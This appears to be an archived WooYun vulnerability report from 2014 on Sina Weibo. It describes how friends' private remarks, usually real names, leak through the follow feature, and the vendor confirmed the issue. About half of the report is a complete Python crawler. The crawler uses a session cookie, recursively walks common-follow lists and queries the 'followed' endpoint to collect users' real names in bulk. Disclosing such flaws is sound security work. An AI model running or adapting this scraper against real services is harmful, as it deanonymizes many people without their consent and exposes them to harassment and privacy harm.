当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-089519

漏洞标题:如何通过微博在他人不知情的情况下获取其真实姓名(可批量获取)

相关厂商:新浪微博

漏洞作者: 肉肉

提交时间:2014-12-31 16:26

修复时间:2015-02-14 16:28

公开时间:2015-02-14 16:28

漏洞类型:账户体系控制不严

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-31: 细节已通知厂商并且等待厂商处理中
2015-01-01: 厂商已经确认,细节仅向厂商公开
2015-01-11: 细节向核心白帽子及相关领域专家公开
2015-01-21: 细节向普通白帽子公开
2015-01-31: 细节向实习白帽子公开
2015-02-14: 细节向公众公开

简要描述:

其实我在微博上也说了这个问题,但是被告知任性的产品经理觉得这是业务特性,真的好任性啊有没有,特性就是我玩个微博真实姓名就被泄露了吗?而且不是我自己提交的呀!!!你不经过我同意搜集我的信息也就罢了,你还展示出来,这么任性不怕挨打吗亲。
没啥技术含量,但是感觉危害挺大,小伙伴写代码也挺辛苦,就要个8rank吧,忽略也无所谓

详细说明:

发现这个问题很偶然,就是关注别人的时候,当达到一定条件(我觉得这种条件就是有一定量的共同关注,并不需要互相关注,这个一定量也不大。)就会自动显示别人给被关注者的备注(大部分时候是真名呀喂)

5.png


(因为flashsky的名字是公开的信息了所以就拿他做演示了)
后来有发现,我也不需要关注别人了,只要别人关注我我也能看到

新浪3.jpeg


这位同学对不起了啊
其实也不是全部都是真实姓名,但是爬了一下,发现爬出真实姓名的概率特别大呀。
这里是是程序

#!/usr/bin/env python
#coding:utf-8
import urllib,urllib2
import re,sys
import cookielib
import json
'''
1.入口
2.爬去一层
3.通过第一层的oid构造出第二层的共同关注url
4.爬取第二层
'''
#全局变量
##已经爬行过的路径
oidlist = set()
spiderlist = set()
global count
count = 0
headers={}
headers = {
'Cookie': 这里添加你的cookie这里添加你的cookie哟,
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',
'DNT': 1,
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Referer': 'http://weibo.com/m4njusaka?from=feed&loc=at&nick=%E8%82%89%E8%82%89%E8%A6%81%E5%A5%BD%E5%A5%BD%E5%86%99%E4%BB%A3%E7%A0%81&noscale_head=1'
}
def get_name(content):
try:
name = []
name = re.findall('CONFIG\[\'onick\'\]=\'(.*?)\'', content)
return name[0]
except Exception,e:
pass
def get_oid(content):
try:
oid =[]
oid = re.findall('CONFIG\[\'oid\'\]=\'(.*?)\'', content)
return oid[0]
except Exception,e:
pass
def get_real_name(user):
real_name = []
user['name'] = urllib.quote(user['name'])
postdata = urllib.urlencode({
'uid' : user['oid'],
'objectid' : '',
'f' : 1,
'extra' : '',
'refer_sort' : '',
'refer_flag' : '',
'location' : 'page_100505_home',
'oid' : user['oid'],
'wforce' : 1,
'nogroup' : 'false',
'fnick' : user['name'],
'_t' : 0,
})
url = "http://weibo.com/aj/f/followed?ajwvr=6&__rnd=1419910508362"
req = urllib2.Request(
url = url,
data = postdata,
headers =headers
)
result = urllib2.urlopen(req).read()
real_name = re.findall('"remark":"(.*?)"',result)
if real_name:
return real_name[0]
def get_urllist(url):
cj = cookielib.LWPCookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)
req = urllib2.Request(url, headers=headers)
response = urllib2.urlopen(req)
content = response.read()
url_list = re.findall(r'action-data=\\\"uid=(.*?)&fnick=(.*?)&.*?\\\">私信',content)
return url_list
def get_page_sum(url):
'''返回共同关注人页数'''
req = urllib2.Request(url, headers=headers)
response = urllib2.urlopen(req)
content = response.read()
page = re.findall(r'page S_txt1',content)
page_sum = len(page)
return page_sum
def spider(depth, startURL):
i = 0
if depth <= 0:
return 0
else:
url_list = get_urllist(startURL)
if len(url_list) >0:
for url in url_list:
spider_url = "http://www.weibo.com/p/100505%s/follow?relate=same_follow" % url[0]
sum_page = get_page_sum(spider_url)
for page in range(1,sum_page):
spider_url = "http://www.weibo.com/p/100505%s/follow?relate=same_follow&page=%s" % (url[0], page)
target_url = "http://weibo.com/u/%s" % url[0]
if url[0] in oidlist:
continue
else:
spider(depth - 1, spider_url)
get_user(url[0])
oidlist.add(url[0])
def get_user(oid):
url = "http://weibo.com/u/%s" % oid
req = urllib2.Request(url, headers=headers)
response = urllib2.urlopen(req)
content = response.read()
user ={
'name' : get_name(content),
'oid' : get_oid(content),
'real_name' : ''
}
user['real_name'] = get_real_name(user)
print user['oid'], urllib.unquote(user['name']), json.loads('{"test": "%s"}' % user['real_name'])['test']
def main():
max_depth = 3
'''开始爬行地址'''
startURL = 'http://weibo.com/p/1005053191954357/follow?from=page_100505_profile&wvr=6&mod=modulerel'
spider(max_depth, startURL)
main()


谢谢帮我写代码的小伙伴,元旦请你女票吃蛋糕去(*^__^*)

漏洞证明:

5.png


新浪3.jpeg


还有那个程序扫出来的结果我直接给piaca啦,就不帖这里了,感觉不大好,扫出来结果是基本上都有真实姓名的。如果那个产品经理还那么任性觉得这不是问题你们的名字被人扫出来了不要打我,去打他,我给你们说他是谁。

修复方案:

我也不知道怎么修,就是加强限制吧,或者给个开关让我自己来觉得是否要显示

版权声明:转载请注明来源 肉肉@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-01-01 20:19

厂商回复:

感谢关注新浪安全,此问题正在修复中。

最新状态:

暂无